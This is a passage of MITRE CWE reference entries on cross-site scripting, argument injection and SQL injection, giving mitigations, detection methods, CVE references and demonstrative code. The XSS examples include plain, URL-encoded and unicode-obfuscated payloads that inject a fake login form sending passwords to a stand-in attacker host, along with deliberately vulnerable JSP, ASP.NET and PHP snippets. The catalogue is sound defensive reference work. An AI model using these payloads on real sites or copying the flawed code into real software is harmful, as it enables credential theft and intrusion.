and modifying presentation of content.", "Scope": [ "Confidentiality", "Integrity", "Availability", "Access Control" ] } ]

[ { "Description": "Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible, especially when multiple components are involved.", "DetectionMethodID": null, "Effectiveness": "Moderate", "EffectivenessNotes": null, "Method": "Automated Static Analysis" }, { "Description": "Use the XSS Cheat Sheet [REF-714] or automated test-generation tools to help launch a wide variety of attacks against your web application. The Cheat Sheet contains many subtle XSS variations that are specifically targeted against weak XSS defenses.", "DetectionMethodID": null, "Effectiveness": "Moderate", "EffectivenessNotes": "With Stored XSS, the indirection caused by the data store can make it more difficult to find the problem. The tester must first inject the XSS string into the data store, then find the appropriate application functionality in which the XSS string is sent to other users of the application. These are two distinct steps in which the activation of the XSS can take place minutes, hours, or days after the XSS was originally injected into the data store.", "Method": "Black Box" } ]

[ { "Description": "\n\nUse a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.\n\n\nExamples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket.\n", "Effectiveness": null, "EffectivenessNotes": null, "MitigationID": "MIT-4", "Phase": [ "Architecture and Design" ], "Strategy": "Libraries or Frameworks" }, { "Description": "\n\nUnderstand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies.\n\n\nFor any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters.\n\n\nParts of the same output document may require different encodings, which will vary depending on whether the output is in the:\n\n\n - HTML body\n\n - Element attributes (such as src=\"XYZ\")\n\n - URIs\n\n - JavaScript sections\n\n - Cascading Style Sheets and style property\n\netc. Note that HTML Entity Encoding is only appropriate for the HTML body.\n\nConsult the XSS Prevention Cheat Sheet [REF-724] for more details on the types of encoding and escaping that are needed.\n", "Effectiveness": null, "EffectivenessNotes": null, "MitigationID": null, "Phase": [ "Implementation", "Architecture and Design" ], "Strategy": null }, { "Description": "Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.", "Effectiveness": "Limited", "EffectivenessNotes": "This technique has limited effectiveness, but can be helpful when it is possible to store client state and sensitive information on the server side instead of in cookies, headers, hidden form fields, etc.", "MitigationID": "MIT-6", "Phase": [ "Architecture and Design", "Implementation" ], "Strategy": "Attack Surface Reduction" }, { "Description": "For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.", "Effectiveness": null, "EffectivenessNotes": null, "MitigationID": "MIT-15", "Phase": [ "Architecture and Design" ], "Strategy": null }, { "Description": "If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.", "Effectiveness": null, "EffectivenessNotes": null, "MitigationID": "MIT-27", "Phase": [ "Architecture and Design" ], "Strategy": "Parameterization" }, { "Description": "\n\nUse and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.\n\n\nThe problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.\n", "Effectiveness": null, "EffectivenessNotes": null, "MitigationID": "MIT-30.1", "Phase": [ "Implementation" ], "Strategy": "Output Encoding" }, { "Description": "With Struts, write all data from form beans with the bean's filter attribute set to true.", "Effectiveness": null, "EffectivenessNotes": null, "MitigationID": "MIT-43", "Phase": [ "Implementation" ], "Strategy": null }, { "Description": "To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XMLHTTPRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.", "Effectiveness": "Defense in Depth", "EffectivenessNotes": null, "MitigationID": "MIT-31", "Phase": [ "Implementation" ], "Strategy": "Attack Surface Reduction" }, { "Description": "\n\nAssume all input is malicious. Use an \"accept known good\" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.\n\n\nWhen performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, \"boat\" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as \"red\" or \"blue.\"\n\n\nDo not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.\n\n\nWhen dynamically constructing web pages, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. All input should be validated and cleansed, not just parameters that the user is supposed to specify, but all data in the request, including hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. It is common to see data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended.\n\n\nNote that proper output encoding, escaping, and quoting is the most effective solution for preventing XSS, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent XSS, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, in a chat application, the heart emoticon (\"<3\") would likely pass the validation step, since it is commonly used. However, it cannot be directly inserted into the web page because it contains the \"<\" character, which would need to be escaped or otherwise handled. In this case, stripping the \"<\" might reduce the risk of XSS, but it would produce incorrect behavior because the emoticon would not be recorded. This might seem to be a minor inconvenience, but it would be more important in a mathematical forum that wants to represent inequalities.\n\n\nEven if you make a mistake in your validation (such as forgetting one out of 100 input fields), appropriate encoding is still likely to protect you from injection-based attacks. As long as it is not done in isolation, input validation is still a useful technique, since it may significantly reduce your attack surface, allow you to detect some attacks, and provide other security benefits that proper encoding does not address.\n\n\nEnsure that you perform input validation at well-defined interfaces within the application. This will help protect the application even if a component is reused or moved elsewhere.\n", "Effectiveness": null, "EffectivenessNotes": null, "MitigationID": "MIT-5", "Phase": [ "Implementation" ], "Strategy": "Input Validation" }, { "Description": "When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.", "Effectiveness": null, "EffectivenessNotes": null, "MitigationID": "MIT-21", "Phase": [ "Architecture and Design" ], "Strategy": "Enforcement by Conversion" }, { "Description": "Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth.", "Effectiveness": "Moderate", "EffectivenessNotes": "An application firewall might not cover all possible input vectors. In addition, attack techniques might be available to bypass the protection mechanism, such as using malformed inputs that can still be processed by the component that receives those inputs. Depending on functionality, an application firewall might inadvertently reject or modify legitimate requests. Finally, some manual effort may be required for customization.", "MitigationID": "MIT-29", "Phase": [ "Operation" ], "Strategy": "Firewall" }, { "Description": "When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.", "Effectiveness": null, "EffectivenessNotes": null, "MitigationID": "MIT-16", "Phase": [ "Operation", "Implementation" ], "Strategy": "Environment Hardening" } ]

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When victims click the link, they unwittingly reflect the malicious content through the vulnerable web application back to their own computers.", "ExampleCode": null, "IntroText": null, "Language": null, "Nature": null, "Reference": null }, { "BodyText": "More realistically, the attacker can embed a fake login box on the page, tricking the user into sending the user's password to the attacker:", "ExampleCode": null, "IntroText": null, "Language": null, "Nature": null, "Reference": null }, { "BodyText": null, "ExampleCode": "```\n\thttp://trustedSite.example.com/welcome.php?username=<div id=\"stealPassword\">Please Login:<form name=\"input\" action=\"http://attack.example.com/stealPassword.php\" method=\"post\">Username: <input type=\"text\" name=\"username\" /><br/>Password: <input type=\"password\" name=\"password\" /><br/><input type=\"submit\" value=\"Login\" /></form></div>\n```", "IntroText": null, "Language": null, "Nature": "Attack", "Reference": null }, { "BodyText": "If a user clicks on this link then Welcome.php will generate the following HTML and send it to the user's browser:", "ExampleCode": null, "IntroText": null, "Language": null, "Nature": null, "Reference": null }, { "BodyText": null, "ExampleCode": "```\n\t<div class=\"header\"> Welcome, <div id=\"stealPassword\"> Please Login:\n\t\t<form name=\"input\" action=\"attack.example.com/stealPassword.php\" method=\"post\">\n\t\t\tUsername: <input type=\"text\" name=\"username\" /><br/>\n\t\t\tPassword: <input type=\"password\" name=\"password\" /><br/>\n\t\t\t<input type=\"submit\" value=\"Login\" />\n\t\t</form>\n\t</div></div>\n```", "IntroText": null, "Language": null, "Nature": "Result", "Reference": null }, { "BodyText": "The trustworthy domain of the URL may falsely assure the user that it is OK to follow the link. However, an astute user may notice the suspicious text appended to the URL. An attacker may further obfuscate the URL (the following example links are broken into multiple lines for readability):", "ExampleCode": null, "IntroText": null, "Language": null, "Nature": null, "Reference": null }, { "BodyText": null, "ExampleCode": "```\n\ttrustedSite.example.com/welcome.php?username=%3Cdiv+id%3D%22\n\tstealPassword%22%3EPlease+Login%3A%3Cform+name%3D%22input\n\t%22+action%3D%22http%3A%2F%2Fattack.example.com%2FstealPassword.php\n\t%22+method%3D%22post%22%3EUsername%3A+%3Cinput+type%3D%22text\n\t%22+name%3D%22username%22+%2F%3E%3Cbr%2F%3EPassword%3A\n\t+%3Cinput+type%3D%22password%22+name%3D%22password%22\n\t+%2F%3E%3Cinput+type%3D%22submit%22+value%3D%22Login%22\n\t+%2F%3E%3C%2Fform%3E%3C%2Fdiv%3E%0D%0A\n```", "IntroText": null, "Language": null, "Nature": "Attack", "Reference": null }, { "BodyText": "The same attack string could also be obfuscated as:", "ExampleCode": null, "IntroText": null, "Language": null, "Nature": null, "Reference": null }, { "BodyText": null, "ExampleCode": "```\n\ttrustedSite.example.com/welcome.php?username=<script+type=\"text/javascript\">\n\tdocument.write('\\u003C\\u0064\\u0069\\u0076\\u0020\\u0069\\u0064\\u003D\\u0022\\u0073\n\t\\u0074\\u0065\\u0061\\u006C\\u0050\\u0061\\u0073\\u0073\\u0077\\u006F\\u0072\\u0064\n\t\\u0022\\u003E\\u0050\\u006C\\u0065\\u0061\\u0073\\u0065\\u0020\\u004C\\u006F\\u0067\n\t\\u0069\\u006E\\u003A\\u003C\\u0066\\u006F\\u0072\\u006D\\u0020\\u006E\\u0061\\u006D\n\t\\u0065\\u003D\\u0022\\u0069\\u006E\\u0070\\u0075\\u0074\\u0022\\u0020\\u0061\\u0063\n\t\\u0074\\u0069\\u006F\\u006E\\u003D\\u0022\\u0068\\u0074\\u0074\\u0070\\u003A\\u002F\n\t\\u002F\\u0061\\u0074\\u0074\\u0061\\u0063\\u006B\\u002E\\u0065\\u0078\\u0061\\u006D\n\t\\u0070\\u006C\\u0065\\u002E\\u0063\\u006F\\u006D\\u002F\\u0073\\u0074\\u0065\\u0061\n\t\\u006C\\u0050\\u0061\\u0073\\u0073\\u0077\\u006F\\u0072\\u0064\\u002E\\u0070\\u0068\n\t\\u0070\\u0022\\u0020\\u006D\\u0065\\u0074\\u0068\\u006F\\u0064\\u003D\\u0022\\u0070\n\t\\u006F\\u0073\\u0074\\u0022\\u003E\\u0055\\u0073\\u0065\\u0072\\u006E\\u0061\\u006D\n\t\\u0065\\u003A\\u0020\\u003C\\u0069\\u006E\\u0070\\u0075\\u0074\\u0020\\u0074\\u0079\n\t\\u0070\\u0065\\u003D\\u0022\\u0074\\u0065\\u0078\\u0074\\u0022\\u0020\\u006E\\u0061\n\t\\u006D\\u0065\\u003D\\u0022\\u0075\\u0073\\u0065\\u0072\\u006E\\u0061\\u006D\\u0065\n\t\\u0022\\u0020\\u002F\\u003E\\u003C\\u0062\\u0072\\u002F\\u003E\\u0050\\u0061\\u0073\n\t\\u0073\\u0077\\u006F\\u0072\\u0064\\u003A\\u0020\\u003C\\u0069\\u006E\\u0070\\u0075\n\t\\u0074\\u0020\\u0074\\u0079\\u0070\\u0065\\u003D\\u0022\\u0070\\u0061\\u0073\\u0073\n\t\\u0077\\u006F\\u0072\\u0064\\u0022\\u0020\\u006E\\u0061\\u006D\\u0065\\u003D\\u0022\n\t\\u0070\\u0061\\u0073\\u0073\\u0077\\u006F\\u0072\\u0064\\u0022\\u0020\\u002F\\u003E\n\t\\u003C\\u0069\\u006E\\u0070\\u0075\\u0074\\u0020\\u0074\\u0079\\u0070\\u0065\\u003D\n\t\\u0022\\u0073\\u0075\\u0062\\u006D\\u0069\\u0074\\u0022\\u0020\\u0076\\u0061\\u006C\n\t\\u0075\\u0065\\u003D\\u0022\\u004C\\u006F\\u0067\\u0069\\u006E\\u0022\\u0020\\u002F\n\t\\u003E\\u003C\\u002F\\u0066\\u006F\\u0072\\u006D\\u003E\\u003C\\u002F\\u0064\\u0069\\u0076\\u003E\\u000D');</script>\n```", "IntroText": null, "Language": null, "Nature": "Attack", "Reference": null }, { "BodyText": "Both of these attack links will result in the fake login box appearing on the page, and users are more likely to ignore indecipherable text at the end of URLs.", "ExampleCode": null, "IntroText": null, "Language": null, "Nature": null, "Reference": null } ], "ID": null }, { "Entries": [ { "BodyText": null, "ExampleCode": null, "IntroText": "The following code displays a Reflected XSS (Type 1) scenario.", "Language": null, "Nature": null, "Reference": null }, { "BodyText": "The following JSP code segment reads an employee ID, eid, from an HTTP request and displays it to the user.", "ExampleCode": null, "IntroText": null, "Language": null, "Nature": null, "Reference": null }, { "BodyText": null, "ExampleCode": "```\n\t<% String eid = request.getParameter(\"eid\"); %>\n\t...\n\tEmployee ID: <%= eid %>\n```", "IntroText": null, "Language": "JSP", "Nature": "Bad", "Reference": null }, { "BodyText": "The following ASP.NET code segment reads an employee ID number from an HTTP request and displays it to the user.", "ExampleCode": null, "IntroText": null, "Language": null, "Nature": null, "Reference": null }, { "BodyText": null, "ExampleCode": "```\n\t<%\n\tprotected System.Web.UI.WebControls.TextBox Login;\n\tprotected System.Web.UI.WebControls.Label EmployeeID;\n\t...\n\tEmployeeID.Text = Login.Text;\n\t%>\n\t<p><asp:label id=\"EmployeeID\" runat=\"server\" /></p>\n```", "IntroText": null, "Language": "ASP.NET", "Nature": "Bad", "Reference": null }, { "BodyText": "The code in this example operates correctly if the Employee ID variable contains only standard alphanumeric text. If it has a value that includes meta-characters or source code, then the code will be executed by the web browser as it displays the HTTP response.", "ExampleCode": null, "IntroText": null, "Language": null, "Nature": null, "Reference": null } ], "ID": null }, { "Entries": [ { "BodyText": null, "ExampleCode": null, "IntroText": "The following code displays a Stored XSS (Type 2) scenario.", "Language": null, "Nature": null, "Reference": null }, { "BodyText": "The following JSP code segment queries a database for an employee with a given ID and prints the corresponding employee's name.", "ExampleCode": null, "IntroText": null, "Language": null, "Nature": null, "Reference": null }, { "BodyText": null, "ExampleCode": "```\n\t<%Statement stmt = conn.createStatement();\n\tResultSet rs = stmt.executeQuery(\"select * from emp where id=\"+eid);\n\tif (rs != null) {\n\t\trs.next();\n\t\tString name = rs.getString(\"name\");\n\t}%>\n\tEmployee Name: <%= name %>\n```", "IntroText": null, "Language": "JSP", "Nature": "Bad", "Reference": null }, { "BodyText": "The following ASP.NET code segment queries a database for an employee with a given employee ID and prints the name corresponding with the ID.", "ExampleCode": null, "IntroText": null, "Language": null, "Nature": null, "Reference": null }, { "BodyText": null, "ExampleCode": "```\n\t<%\n\tprotected System.Web.UI.WebControls.Label EmployeeName;\n\t...\n\tstring query = \"select * from emp where id=\" + eid;\n\tsda = new SqlDataAdapter(query, conn);\n\tsda.Fill(dt);\n\tstring name = dt.Rows[0][\"Name\"];\n\t...\n\tEmployeeName.Text = name;%>\n\t<p><asp:label id=\"EmployeeName\" runat=\"server\" /></p>\n```", "IntroText": null, "Language": "ASP.NET", "Nature": "Bad", "Reference": null }, { "BodyText": "This code can appear less dangerous because the value of name is read from a database, whose contents are apparently managed by the application. However, if the value of name originates from user-supplied data, then the database can be a conduit for malicious content. Without proper input validation on all data stored in the database, an attacker can execute malicious commands in the user's web browser.", "ExampleCode": null, "IntroText": null, "Language": null, "Nature": null, "Reference": null } ], "ID": null }, { "Entries": [ { "BodyText": null, "ExampleCode": null, "IntroText": "The following code consists of two separate pages in a web application, one devoted to creating user accounts and another devoted to listing active users currently logged in. It also displays a Stored XSS (Type 2) scenario.", "Language": null, "Nature": null, "Reference": null }, { "BodyText": "CreateUser.php", "ExampleCode": null, "IntroText": null, "Language": null, "Nature": null, "Reference": null }, { "BodyText": null, "ExampleCode": "```\n\t$username = mysql_real_escape_string($username);\n\t$fullName = mysql_real_escape_string($fullName);\n\t$query = sprintf('Insert Into users (username,password) Values (\"%s\",\"%s\",\"%s\")', $username, crypt($password),$fullName) ;\n\tmysql_query($query);\n\t/.../\n```", "IntroText": null, "Language": "PHP", "Nature": "Bad", "Reference": null }, { "BodyText": "The code is careful to avoid a SQL injection attack (CWE-89) but does not stop valid HTML from being stored in the database. This can be exploited later when ListUsers.php retrieves the information:", "ExampleCode": null, "IntroText": null, "Language": null, "Nature": null, "Reference": null }, { "BodyText": "ListUsers.php", "ExampleCode": null, "IntroText": null, "Language": null, "Nature": null, "Reference": null }, { "BodyText": null, "ExampleCode": "```\n\t$query = 'Select * From users Where loggedIn=true';\n\t$results = mysql_query($query);\n\tif (!$results) {\n\t\texit;\n\t}\n```\n//Print list of users to page* \n\techo '<div id=\"userlist\">Currently Active Users:';\n\twhile ($row = mysql_fetch_assoc($results)) {\n\t```\n\t\techo '<div class=\"userNames\">'.$row['fullname'].'</div>';\n\t}\n\techo '</div>';\n```", "IntroText": null, "Language": "PHP", "Nature": "Bad", "Reference": null }, { "BodyText": "The attacker can set their name to be arbitrary HTML, which will then be displayed to all visitors of the Active Users page. This HTML can, for example, be a password stealing Login message.", "ExampleCode": null, "IntroText": null, "Language": null, "Nature": null, "Reference": null } ], "ID": null }, { "Entries": [ { "BodyText": null, "ExampleCode": null, "IntroText": "The following code is a simplistic message board that saves messages in HTML format and appends them to a file. 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Allowed

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.

[ "Acceptable-Use" ]

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[ { "Description": null, "Ordinality": "Resultant" } ]

[ { "Description": "A common abbreviation for Cross-Site Scripting.", "Term": "XSS" }, { "Description": "Used as a synonym of stored (Type 2) XSS.", "Term": "HTML Injection" }, { "Description": "Used when a server application reads data directly from the HTTP request and reflects it back in the HTTP response.", "Term": "Reflected XSS / Non-Persistent XSS / Type 1 XSS" }, { "Description": "Used when a server-side application stores dangerous data in a database, message forum, visitor log, or other trusted data store. At a later time, the dangerous data is subsequently read back into the application and included in dynamic content.", "Term": "Stored XSS / Persistent XSS / Type 2 XSS" }, { "Description": "Used when a client-side application performs the injection of XSS into the page by manipulating the Domain Object Model (DOM).", "Term": "DOM-Based XSS / Type 0 XSS" }, { "Description": "In the early years after initial discovery of XSS, \"CSS\" was a commonly-used acronym. However, this would cause confusion with \"Cascading Style Sheets,\" so usage of this acronym has declined significantly.", "Term": "CSS" } ]

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[ "\n\nThe Same Origin Policy states that browsers should limit the resources accessible to scripts running on a given web site, or \"origin\", to the resources associated with that web site on the client-side, and not the client-side resources of any other sites or \"origins\". The goal is to prevent one site from being able to modify or read the contents of an unrelated site. Since the World Wide Web involves interactions between many sites, this policy is important for browsers to enforce.\n\n\nWhen referring to XSS, the Domain of a website is roughly equivalent to the resources associated with that website on the client-side of the connection. That is, the domain can be thought of as all resources the browser is storing for the user's interactions with this particular site.\n" ]

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88

Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')

Base

Simple

Draft

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The product constructs a string for a command to be executed by a separate component in another control sphere, but it does not properly delimit the intended arguments, options, or switches within that command string.

When creating commands using interpolation into a string, developers may assume that only the arguments/options that they specify will be processed. This assumption may be even stronger when the programmer has encoded the command in a way that prevents separate commands from being provided maliciously, e.g. in the case of shell metacharacters. When constructing the command, the developer may use whitespace or other delimiters that are required to separate arguments when the command. However, if an attacker can provide an untrusted input that contains argument-separating delimiters, then the resulting command will have more arguments than intended by the developer. The attacker may then be able to change the behavior of the command. Depending on the functionality supported by the extraneous arguments, this may have security-relevant consequences.

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[ { "CweID": "74", "Nature": "ChildOf", "Ordinal": "Primary", "ViewID": "1003" } ]

[ { "Class": "Not Language-Specific", "Name": null, "Prevalence": "Undetermined", "Type": "Language" }, { "Class": null, "Name": "PHP", "Prevalence": "Often", "Type": "Language" } ]

[ { "Note": "REALIZATION: This weakness is caused during implementation of an architectural security tactic.", "Phase": "Implementation" } ]

[ { "Impact": [ "Execute Unauthorized Code or Commands", "Alter Execution Logic", "Read Application Data", "Modify Application Data" ], "Likelihood": null, "Note": "An attacker could include arguments that allow unintended commands or code to be executed, allow sensitive data to be read or modified or could cause other unintended behavior.", "Scope": [ "Confidentiality", "Integrity", "Availability", "Other" ] } ]

[ { "Description": "Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect \"sources\" (origins of input) with \"sinks\" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)", "DetectionMethodID": "DM-14", "Effectiveness": "High", "EffectivenessNotes": null, "Method": "Automated Static Analysis" } ]

[ { "Description": "Where possible, avoid building a single string that contains the command and its arguments. Some languages or frameworks have functions that support specifying independent arguments, e.g. as an array, which is used to automatically perform the appropriate quoting or escaping while building the command. For example, in PHP, escapeshellarg() can be used to escape a single argument to system(), or exec() can be called with an array of arguments. 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Use an \"accept known good\" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.\n\n\nWhen performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, \"boat\" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as \"red\" or \"blue.\"\n\n\nDo not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.\n", "Effectiveness": null, "EffectivenessNotes": null, "MitigationID": "MIT-5", "Phase": [ "Implementation" ], "Strategy": "Input Validation" }, { "Description": "Directly convert your input type into the expected data type, such as using a conversion function that translates a string into a number. After converting to the expected data type, ensure that the input's values fall within the expected range of allowable values and that multi-field consistencies are maintained.", "Effectiveness": null, "EffectivenessNotes": null, "MitigationID": null, "Phase": [ "Implementation" ], "Strategy": null }, { "Description": "\n\nInputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180, CWE-181). Make sure that your application does not inadvertently decode the same input twice (CWE-174). Such errors could be used to bypass allowlist schemes by introducing dangerous inputs after they have been checked. Use libraries such as the OWASP ESAPI Canonicalization control.\n\n\nConsider performing repeated canonicalization until your input does not change any more. This will avoid double-decoding and similar scenarios, but it might inadvertently modify inputs that are allowed to contain properly-encoded dangerous content.\n", "Effectiveness": null, "EffectivenessNotes": null, "MitigationID": null, "Phase": [ "Implementation" ], "Strategy": null }, { "Description": "When exchanging data between components, ensure that both components are using the same character encoding. Ensure that the proper encoding is applied at each interface. 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NOTE: it is not immediately clear whether this issue involves argument injection, shell metacharacters, or other issues.", "Link": "https://www.cve.org/CVERecord?id=CVE-2006-1865", "Reference": "CVE-2006-1865" }, { "Description": "Argument injection vulnerability in Internet Explorer 6 for Windows XP SP2 allows user-assisted remote attackers to modify command line arguments to an invoked mail client via \" (double quote) characters in a mailto: scheme handler, as demonstrated by launching Microsoft Outlook with an arbitrary filename as an attachment. NOTE: it is not clear whether this issue is implementation-specific or a problem in the Microsoft API.", "Link": "https://www.cve.org/CVERecord?id=CVE-2006-2056", "Reference": "CVE-2006-2056" }, { "Description": "Argument injection vulnerability in Mozilla Firefox 1.0.6 allows user-assisted remote attackers to modify command line arguments to an invoked mail client via \" (double quote) characters in a mailto: scheme handler, as demonstrated by launching Microsoft Outlook with an arbitrary filename as an attachment. NOTE: it is not clear whether this issue is implementation-specific or a problem in the Microsoft API.", "Link": "https://www.cve.org/CVERecord?id=CVE-2006-2057", "Reference": "CVE-2006-2057" }, { "Description": "Argument injection vulnerability in Avant Browser 10.1 Build 17 allows user-assisted remote attackers to modify command line arguments to an invoked mail client via \" (double quote) characters in a mailto: scheme handler, as demonstrated by launching Microsoft Outlook with an arbitrary filename as an attachment. NOTE: it is not clear whether this issue is implementation-specific or a problem in the Microsoft API.", "Link": "https://www.cve.org/CVERecord?id=CVE-2006-2058", "Reference": "CVE-2006-2058" }, { "Description": "Argument injection vulnerability in the URI handler in Skype 2.0.*.104 and 2.5.*.0 through 2.5.*.78 for Windows allows remote authorized attackers to download arbitrary files via a URL that contains certain command-line switches.", "Link": "https://www.cve.org/CVERecord?id=CVE-2006-2312", "Reference": "CVE-2006-2312" }, { "Description": "Argument injection vulnerability in WinSCP 3.8.1 build 328 allows remote attackers to upload or download arbitrary files via encoded spaces and double-quote characters in a scp or sftp URI.", "Link": "https://www.cve.org/CVERecord?id=CVE-2006-3015", "Reference": "CVE-2006-3015" }, { "Description": "Argument injection vulnerability in the Windows Object Packager (packager.exe) in Microsoft Windows XP SP1 and SP2 and Server 2003 SP1 and earlier allows remote user-assisted attackers to execute arbitrary commands via a crafted file with a \"/\" (slash) character in the filename of the Command Line property, followed by a valid file extension, which causes the command before the slash to be executed, aka \"Object Packager Dialogue Spoofing Vulnerability.\"", "Link": "https://www.cve.org/CVERecord?id=CVE-2006-4692", "Reference": "CVE-2006-4692" }, { "Description": "Argument injection vulnerability in HyperAccess 8.4 allows user-assisted remote attackers to execute arbitrary vbscript and commands via the /r option in a telnet:// URI, which is configured to use hawin32.exe.", "Link": "https://www.cve.org/CVERecord?id=CVE-2006-6597", "Reference": "CVE-2006-6597" }, { "Description": "Argument injection vulnerability in the telnet daemon (in.telnetd) in Solaris 10 and 11 (SunOS 5.10 and 5.11) misinterprets certain client \"-f\" sequences as valid requests for the login program to skip authentication, which allows remote attackers to log into certain accounts, as demonstrated by the bin account.", "Link": "https://www.cve.org/CVERecord?id=CVE-2007-0882", "Reference": "CVE-2007-0882" }, { "Description": "Language interpreter's mail function accepts another argument that is concatenated to a string used in a dangerous popen() call. Since there is no neutralization of this argument, both OS Command Injection (CWE-78) and Argument Injection (CWE-88) are possible.", "Link": "https://www.cve.org/CVERecord?id=CVE-2001-1246", "Reference": "CVE-2001-1246" }, { "Description": "Argument injection allows execution of arbitrary commands by injecting a \"-exec\" option, which is executed by the command.", "Link": "https://www.cve.org/CVERecord?id=CVE-2019-13475", "Reference": "CVE-2019-13475" }, { "Description": "Argument injection in mail-processing function allows writing unxpected files and executing programs using tecnically-valid email addresses that insert \"-o\" and \"-X\" switches.", "Link": "https://www.cve.org/CVERecord?id=CVE-2016-10033", "Reference": "CVE-2016-10033" } ]

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89

Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')

Base

Simple

Stable

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The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data.

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[ { "Note": "REALIZATION: This weakness is caused during implementation of an architectural security tactic.", "Phase": "Implementation" }, { "Note": "This weakness typically appears in data-rich applications that save user inputs in a database.", "Phase": "Implementation" } ]

[ { "Impact": [ "Execute Unauthorized Code or Commands" ], "Likelihood": null, "Note": "Adversaries could execute system commands, typically by changing the SQL statement to redirect output to a file that can then be executed.", "Scope": [ "Confidentiality", "Integrity", "Availability" ] }, { "Impact": [ "Read Application Data" ], "Likelihood": null, "Note": "Since SQL databases generally hold sensitive data, loss of confidentiality is a frequent problem with SQL injection vulnerabilities.", "Scope": [ "Confidentiality" ] }, { "Impact": [ "Gain Privileges or Assume Identity", "Bypass Protection Mechanism" ], "Likelihood": null, "Note": "If poor SQL commands are used to check user names and passwords or perform other kinds of authentication, it may be possible to connect to the product as another user with no previous knowledge of the password.", "Scope": [ "Authentication" ] }, { "Impact": [ "Bypass Protection Mechanism" ], "Likelihood": null, "Note": "If authorization information is held in a SQL database, it may be possible to change this information through the successful exploitation of a SQL injection vulnerability.", "Scope": [ "Access Control" ] }, { "Impact": [ "Modify Application Data" ], "Likelihood": null, "Note": "Just as it may be possible to read sensitive information, it is also possible to modify or even delete this information with a SQL injection attack.", "Scope": [ "Integrity" ] } ]

